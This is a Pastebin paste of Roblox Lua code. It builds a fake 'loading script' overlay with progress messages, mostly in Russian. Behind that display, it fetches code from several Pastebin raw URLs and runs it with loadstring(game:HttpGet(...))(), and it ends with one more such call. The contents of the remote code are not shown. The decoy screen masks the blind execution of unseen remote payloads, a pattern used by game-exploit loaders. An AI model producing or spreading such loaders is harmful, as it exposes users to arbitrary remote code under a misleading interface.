Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- Gui to Lua
- -- Version: 3.2
- -- Instances:
- local loading = Instance.new("ScreenGui")
- local Frame = Instance.new("Frame")
- local Controls = Instance.new("ImageLabel")
- local DisplayName = Instance.new("TextLabel")
- local scriptes = Instance.new("TextLabel")
- --Properties:
- loading.Name = "loading"
- loading.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
- loading.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
- Frame.Parent = loading
- Frame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
- Frame.BackgroundTransparency = 1.000
- Frame.BorderColor3 = Color3.fromRGB(0, 0, 0)
- Frame.BorderSizePixel = 0
- Frame.Position = UDim2.new(0.285296977, 0, 0.772590339, 0)
- Frame.Size = UDim2.new(0, 425, 0, 100)
- Controls.Name = "Controls"
- Controls.Parent = Frame
- Controls.AnchorPoint = Vector2.new(0, 0.5)
- Controls.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
- Controls.BackgroundTransparency = 1.000
- Controls.BorderColor3 = Color3.fromRGB(0, 0, 0)
- Controls.BorderSizePixel = 0
- Controls.Position = UDim2.new(-0.474126637, 166, 0.64999938, 0)
- Controls.Size = UDim2.new(1.5, 0, 0.75, 0)
- Controls.SizeConstraint = Enum.SizeConstraint.RelativeYY
- Controls.Image = "rbxassetid://17093743118"
- Controls.ImageTransparency = 0.590
- Controls.ScaleType = Enum.ScaleType.Fit
- DisplayName.Name = "DisplayName"
- DisplayName.Parent = Frame
- DisplayName.AnchorPoint = Vector2.new(0, 0.5)
- DisplayName.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
- DisplayName.BackgroundTransparency = 1.000
- DisplayName.BorderColor3 = Color3.fromRGB(0, 0, 0)
- DisplayName.BorderSizePixel = 0
- DisplayName.Position = UDim2.new(0.213019446, 0, 0.543341815, 0)
- DisplayName.Size = UDim2.new(0.707303345, 0, 0.544098198, 0)
- DisplayName.ZIndex = 2
- DisplayName.Font = Enum.Font.Unknown
- DisplayName.Text = "Загрузка скрипта"
- DisplayName.TextColor3 = Color3.fromRGB(255, 255, 255)
- DisplayName.TextScaled = true
- DisplayName.TextSize = 14.000
- DisplayName.TextTransparency = 0.610
- DisplayName.TextWrapped = true
- DisplayName.TextXAlignment = Enum.TextXAlignment.Left
- scriptes.Name = "scriptes"
- scriptes.Parent = Frame
- scriptes.AnchorPoint = Vector2.new(0, 0.5)
- scriptes.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
- scriptes.BackgroundTransparency = 1.000
- scriptes.BorderColor3 = Color3.fromRGB(0, 0, 0)
- scriptes.BorderSizePixel = 0
- scriptes.Position = UDim2.new(0.219990954, 0, 0.872017682, 0)
- scriptes.Size = UDim2.new(0.596227288, 0, 0.291929603, 0)
- scriptes.ZIndex = 2
- scriptes.Font = Enum.Font.Unknown
- scriptes.Text = "load "
- scriptes.TextColor3 = Color3.fromRGB(255, 255, 255)
- scriptes.TextScaled = true
- scriptes.TextSize = 14.000
- scriptes.TextTransparency = 0.610
- scriptes.TextWrapped = true
- scriptes.TextXAlignment = Enum.TextXAlignment.Left
- -- Configuration with text sequences and associated scripts
- local textConfigurations = {
- {
- delay = 1,
- text = "load Workspace",
- scriptUrl = "https://pastebin.com/raw/6MRGQLXu"
- },
- {
- delay = 2.5,
- text = "обслуживания скрипта",
- scriptUrl = "https://pastebin.com/raw/yUqJxPhQ"
- },
- {
- delay = 2,
- text = "загрузка скрпта",
- scriptUrl = "https://pastebin.com/raw/yUqJxPhQ"
- },
- {
- delay = 3,
- text = "Проверка игроков",
- scriptUrl = "https://pastebin.com/raw/ZgJCijM5"
- },
- {
- delay = 1,
- text = "Обработка системы",
- scriptUrl = "https://pastebin.com/raw/yUqJxPhQ" -- Replace with actual URL
- },
- {
- delay = 3,
- text = "почти готово...",
- scriptUrl = "https://pastebin.com/raw/yUqJxPhQ" -- Replace with actual URL
- },
- {
- delay = 1,
- text = "Готово!",
- scriptUrl = "https://pastebin.com/raw/3kqG2hgi" -- Replace with actual URL
- }
- }
- local player = game:GetService("Players").LocalPlayer
- local playerGui = player:WaitForChild("PlayerGui")
- -- Function to safely get GUI elements
- local function getGuiElements()
- local elements = {}
- -- Check each element in the hierarchy
- if not playerGui:FindFirstChild("loading") then
- warn("'loading' screen not found in PlayerGui")
- return nil
- end
- elements.loadingScreen = playerGui.loading
- if not elements.loadingScreen:FindFirstChild("Frame") then
- warn("'Frame' not found in loading screen")
- return nil
- end
- elements.frame = elements.loadingScreen.Frame
- if not elements.frame:FindFirstChild("scriptes") then
- warn("'scriptes' text label not found in Frame")
- return nil
- end
- elements.textLabel = elements.frame.scriptes
- return elements
- end
- -- Function to load and execute a script
- local function loadAndExecuteScript(url)
- local success, result = pcall(function()
- local loadedScript = loadstring(game:HttpGet(url, true))()
- if loadedScript then
- if type(loadedScript) == "function" then
- loadedScript()
- end
- end
- return true
- end)
- if not success then
- warn("Failed to load script from "..url..": "..tostring(result))
- return false
- end
- return true
- end
- -- Main function to run the sequence
- local function runTextSequence(guiElements)
- for _, config in ipairs(textConfigurations) do
- -- Update the text
- guiElements.textLabel.Text = config.text
- print("Displaying: "..config.text)
- -- Load and execute associated script if URL exists
- if config.scriptUrl then
- print("Loading script from: "..config.scriptUrl)
- local loadSuccess = loadAndExecuteScript(config.scriptUrl)
- if not loadSuccess then
- guiElements.textLabel.Text = "Error loading script for: "..config.text
- task.wait(3) -- Show error longer
- end
- end
- -- Wait for the specified delay
- task.wait(config.delay)
- end
- -- Disable loading screen after completion
- guiElements.loadingScreen.Enabled = false
- print("Loading screen disabled")
- end
- -- Initialize and run the sequence
- local success, guiElements = pcall(getGuiElements)
- if success and guiElements then
- print("GUI elements found successfully")
- runTextSequence(guiElements)
- else
- warn("Failed to initialize GUI elements:")
- warn(tostring(guiElements))
- -- Debug information
- print("Current PlayerGui children:")
- for _, child in ipairs(playerGui:GetChildren()) do
- print("- "..child.Name)
- end
- end
- loadstring(game:HttpGet('https://pastebin.com/raw/E8ffN2Q0'))()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement